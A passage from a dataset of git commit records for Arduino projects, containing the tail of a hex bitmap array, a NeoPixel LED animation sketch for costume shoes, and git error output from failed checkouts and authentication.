194\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 195\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 196\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 197\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 198\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 199\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 200\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 201\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 202\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 203\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 204\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 205\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 206\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 207\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 208\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 209\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 210\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 211\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 212\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 213\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 214\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 215\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 216\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 217\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 218\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 219\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 220\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 221\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 222\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 223\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 224\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 225\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 226\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 227\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 228\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 229\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF9FF, 0xFFBF, 0xEE00, 0xF87F, 0x07EF, 0xFC03, 0xFFFF, 0xFFFF, \/\/ Line 230\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF9FF, 0xFF9F, 0xCC00, 0xF01E, 0x01CF, 0xF801, 0xFFFF, 0xFFFF, \/\/ Line 231\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF9FF, 0xFF9F, 0xCCFF, 0xE79C, 0x78CF, 0xF9F8, 0xFFFF, 0xFFFF, \/\/ Line 232\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF9FF, 0xFF8F, 0x8CFF, 0xEFDC, 0xFCCF, 0xF9FC, 0xFFFF, 0xFFFF, \/\/ Line 233\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x09E1, 0xFFCF, 0x9CFF, 0xCFFC, 0xFFCF, 0xF9FC, 0xFFFF, 0xFFFF, \/\/ Line 234\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x01C0, 0x7FCF, 0x9CFF, 0xC83C, 0x7FCF, 0xF9F8, 0xFFFF, 0xFFFF, \/\/ Line 235\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0xF19E, 0x7FE7, 0x3C01, 0xC01E, 0x07CF, 0xF801, 0xFFFF, 0xFFFF, \/\/ Line 236\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0xF99F, 0x3FE7, 0x3C01, 0xC78F, 0xC1CF, 0xF803, 0xFFFF, 0xFFFF, \/\/ Line 237\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0xF980, 0x3FE7, 0x3CFF, 0xCFCF, 0xFCCF, 0xF9FF, 0xFFFF, 0xFFFF, \/\/ Line 238\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0xF99F, 0xFFF2, 0x7CFF, 0xCFCF, 0xFCCF, 0xF9FF, 0xFFFF, 0xFFFF, \/\/ Line 239\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0xF99F, 0xFFF2, 0x7CFF, 0xCFCC, 0xFCCF, 0xF9FF, 0xFFFF, 0xFFFF, \/\/ Line 240\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0xF19E, 0x3FF8, 0xFCFF, 0xE79C, 0x7CCF, 0xF9FF, 0xFFFF, 0xFFFF, \/\/ Line 241\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x01C0, 0x7FF8, 0xFC00, 0xF01E, 0x01E0, 0x09FF, 0xFFFF, 0xFFFF, \/\/ Line 242\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x09E0, 0xFFF8, 0xFE00, 0xF87F, 0x03E0, 0x0DFF, 0xFFFF, 0xFFFF, \/\/ Line 243\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 244\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 245\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 246\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 247\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 248\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 249\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 250\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 251\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 252\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 253\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 254\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 255\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 256\n};\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SSTV-M1-Static\/SSTV-M1-Static.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"b93e4a637db4f9c3d1a3a9d1d13d5ba3a4032e9c","subject":"default to blue","message":"default to blue\n","repos":"craighagan\/HalloweenCostumes,craighagan\/HalloweenCostumes,craighagan\/HalloweenCostumes","old_file":"shira-shoes\/shira-shoes.ino","new_file":"shira-shoes\/shira-shoes.ino","new_contents":"\/\/ Low power NeoPixel earrings example. Makes a nice blinky display\n\/\/ with just a few LEDs on at any time...uses MUCH less juice than\n\/\/ rainbow display!\n\n#include <Adafruit_NeoPixel.h>\n\n#define PIN 0\n#define NUM_LEDS 60\n#define MAX_MODES 10\n#define DEFAULT_COLOR 0x0000FF\n\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUM_LEDS, PIN);\n\nuint8_t mode = 0, \/\/ Current animation effect\n offset = 0; \/\/ Position of spinner animation\nuint32_t color = DEFAULT_COLOR; \/\/ Starting color = amber\nuint32_t prevTime; \/\/ Time of last animation mode switch\n\n\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if (WheelPos < 85) {\n return pixels.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if (WheelPos < 170) {\n WheelPos -= 85;\n return pixels.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return pixels.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\nvoid setup() {\n pixels.begin();\n pixels.setBrightness(25); \/\/ ~1\/3 brightness\n prevTime = millis(); \/\/ Starting time\n}\n\nvoid loop() {\n uint8_t i;\n uint8_t j;\n uint32_t t;\n uint32_t randcolor = 0;\n uint8_t nr_colors = 0;\n\n switch (mode) {\n\n case 0: \/\/ Random sparkles - just one LED on at a time!\n i = random(NUM_LEDS); \/\/ Choose a random pixel\n pixels.setPixelColor(i, color); \/\/ Set it to current color\n pixels.show(); \/\/ Refresh LED states\n \/\/ Set same pixel to \"off\" color now but DON'T refresh...\n \/\/ it stays on for now...both this and the next random\n \/\/ pixel will be refreshed on the next pass.\n pixels.setPixelColor(i, 0);\n delay(10); \/\/ 10 millisecond delay\n break;\n\n case 1: \/\/ Spinny wheel (4 LEDs on at a time)\n for (i = 0; i < NUM_LEDS; i++) { \/\/ For each LED...\n uint32_t c = 0; \/\/ Assume pixel will be \"off\" color\n if (((offset + i) & 7) < 2) { \/\/ For each 8 pixels, 2 will be...\n c = color; \/\/ ...assigned the current color\n }\n pixels.setPixelColor(i, c); \/\/ Set color of pixel 'i'\n }\n pixels.show(); \/\/ Refresh LED states\n delay(50); \/\/ 50 millisecond delay\n offset++; \/\/ Shift animation by 1 pixel on next frame\n break;\n\n case 2: \/\/ Reverse Spinny wheel (4 LEDs on at a time)\n for (i = 0; i < NUM_LEDS; i++) { \/\/ For each LED...\n uint32_t c = 0; \/\/ Assume pixel will be \"off\" color\n if (((offset + i) & 7) < 2) { \/\/ For each 8 pixels, 2 will be...\n c = color; \/\/ ...assigned the current color\n }\n pixels.setPixelColor((NUM_LEDS - i) % NUM_LEDS, c); \/\/ Set color of pixel 'i'\n }\n pixels.show(); \/\/ Refresh LED states\n delay(50); \/\/ 50 millisecond delay\n offset++; \/\/ Shift animation by 1 pixel on next frame\n break;\n\n case 3: \/\/ rainbow spinny wheel\n for (i = 0; i < NUM_LEDS; i++) { \/\/ For each LED...\n uint32_t c = 0; \/\/ Assume pixel will be \"off\" color\n if (((offset + i) & 7) < 2) { \/\/ For each 8 pixels, 2 will be...\n c = Wheel(((i * 256 \/ pixels.numPixels()) + i) & 255);\n }\n pixels.setPixelColor(i, c); \/\/ Set color of pixel 'i'\n }\n pixels.show(); \/\/ Refresh LED states\n delay(50); \/\/ 50 millisecond delay\n offset++; \/\/ Shift animation by 1 pixel on next frame\n break;\n\n case 4: \/\/ reverse rainbow spinny wheel\n for (i = 0; i < NUM_LEDS; i++) { \/\/ For each LED...\n uint32_t c = 0; \/\/ Assume pixel will be \"off\" color\n if (((offset + i) & 7) < 2) { \/\/ For each 8 pixels, 2 will be...\n c = Wheel(((i * 256 \/ pixels.numPixels()) + i) & 255);\n }\n pixels.setPixelColor((NUM_LEDS - i) % NUM_LEDS, c); \/\/ Set color of pixel 'i'\n }\n pixels.show(); \/\/ Refresh LED states\n delay(50); \/\/ 50 millisecond delay\n offset++; \/\/ Shift animation by 1 pixel on next frame\n break;\n\n\n case 5: \/\/ Random rainbow sparkles - just one LED on at a time!\n i = random(NUM_LEDS); \/\/ Choose a random pixel\n pixels.setPixelColor(i, Wheel(((i * 256 \/ pixels.numPixels()) + i) & 255));\n pixels.show(); \/\/ Refresh LED states\n \/\/ Set same pixel to \"off\" color now but DON'T refresh...\n \/\/ it stays on for now...both this and the next random\n \/\/ pixel will be refreshed on the next pass.\n pixels.setPixelColor(i, 0);\n delay(10); \/\/ 10 millisecond delay\n break;\n\n case 6: \/\/ red white and blue sparkles\n i = random(NUM_LEDS); \/\/ Choose a random pixel\n j = offset % 3;\n switch (j) {\n case 0:\n pixels.setPixelColor(i, pixels.Color(0, 0, 255)); \/\/ blue\n break;\n case 1:\n pixels.setPixelColor(i, pixels.Color(255, 0, 0)); \/\/ red\n break;\n case 2:\n pixels.setPixelColor(i, pixels.Color(255, 255, 255)); \/\/ white\n break;\n }\n offset += 1;\n pixels.show(); \/\/ Refresh LED states\n \/\/ Set same pixel to \"off\" color now but DON'T refresh...\n \/\/ it stays on for now...both this and the next random\n \/\/ pixel will be refreshed on the next pass.\n pixels.setPixelColor(i, 0);\n delay(10); \/\/ 10 millisecond delay\n break;\n\n case 7: \/\/ red white and blue spinny\n for (i = 0; i < NUM_LEDS; i++) { \/\/ For each LED...\n uint32_t c = 0; \/\/ Assume pixel will be \"off\" color\n if (((offset + i) & 7) < 2) { \/\/ For each 8 pixels, 2 will be...\n switch (offset % 3) {\n case 0:\n c = pixels.Color(10, 10, 255); \/\/ blue\n break;\n case 1:\n c = pixels.Color(255, 10, 10); \/\/ red\n break;\n case 2:\n c = pixels.Color(120, 120, 120); \/\/ white\n break;\n }\n }\n pixels.setPixelColor(i, c); \/\/ Set color of pixel 'i'\n }\n pixels.show(); \/\/ Refresh LED states\n delay(50); \/\/ 50 millisecond delay\n offset++; \/\/ Shift animation by 1 pixel on next frame\n break;\n\n case 8: \/\/creverse red white and blue spinny\n for (i = 0; i < NUM_LEDS; i++) { \/\/ For each LED...\n uint32_t c = 0; \/\/ Assume pixel will be \"off\" color\n if (((offset + i) & 7) < 2) { \/\/ For each 8 pixels, 2 will be...\n switch (offset % 3) {\n case 0:\n c = pixels.Color(10, 10, 255); \/\/ blue\n break;\n case 1:\n c = pixels.Color(255, 10, 10); \/\/ red\n break;\n case 2:\n c = pixels.Color(120, 120, 120); \/\/ white\n break;\n }\n }\n pixels.setPixelColor((NUM_LEDS - i) % NUM_LEDS, c); \/\/ Set color of pixel 'i'\n }\n pixels.show(); \/\/ Refresh LED states\n delay(50); \/\/ 50 millisecond delay\n offset++; \/\/ Shift animation by 1 pixel on next frame\n break;\n\n default:\n \/\/ reset back to default.\n mode = 0;\n color = DEFAULT_COLOR;\n offset = 0;\n nr_colors = 0;\n break;\n }\n t = millis(); \/\/ Current time in milliseconds\n if ((t - prevTime) > 8000) { \/\/ Every 8 seconds...\n offset = 0;\n mode = random(MAX_MODES); \/\/ Advance to next animation mode\n color = Wheel(random(255)); \/\/ And change color\n pixels.clear(); \/\/ Set all pixels to 'off' state\n prevTime = t; \/\/ Record the time of the last mode change\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shira-shoes\/shira-shoes.ino' did not match any file(s) known to git\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"64fbd04ba6e99f8dd18b318eaf9f78890cd67301","subject":"Create tesm-sense-test.ino","message":"Create tesm-sense-test.ino","repos":"stanly-johnson\/Live-Human-Detection-Robot","old_file":"tesm-sense-test.ino","new_file":"tesm-sense-test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stanly-johnson\/Live-Human-Detection-Robot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5b9fe6c5de723acb1750373d2314dde09dca5d7b","subject":"add SoftwareSerial test","message":"add SoftwareSerial 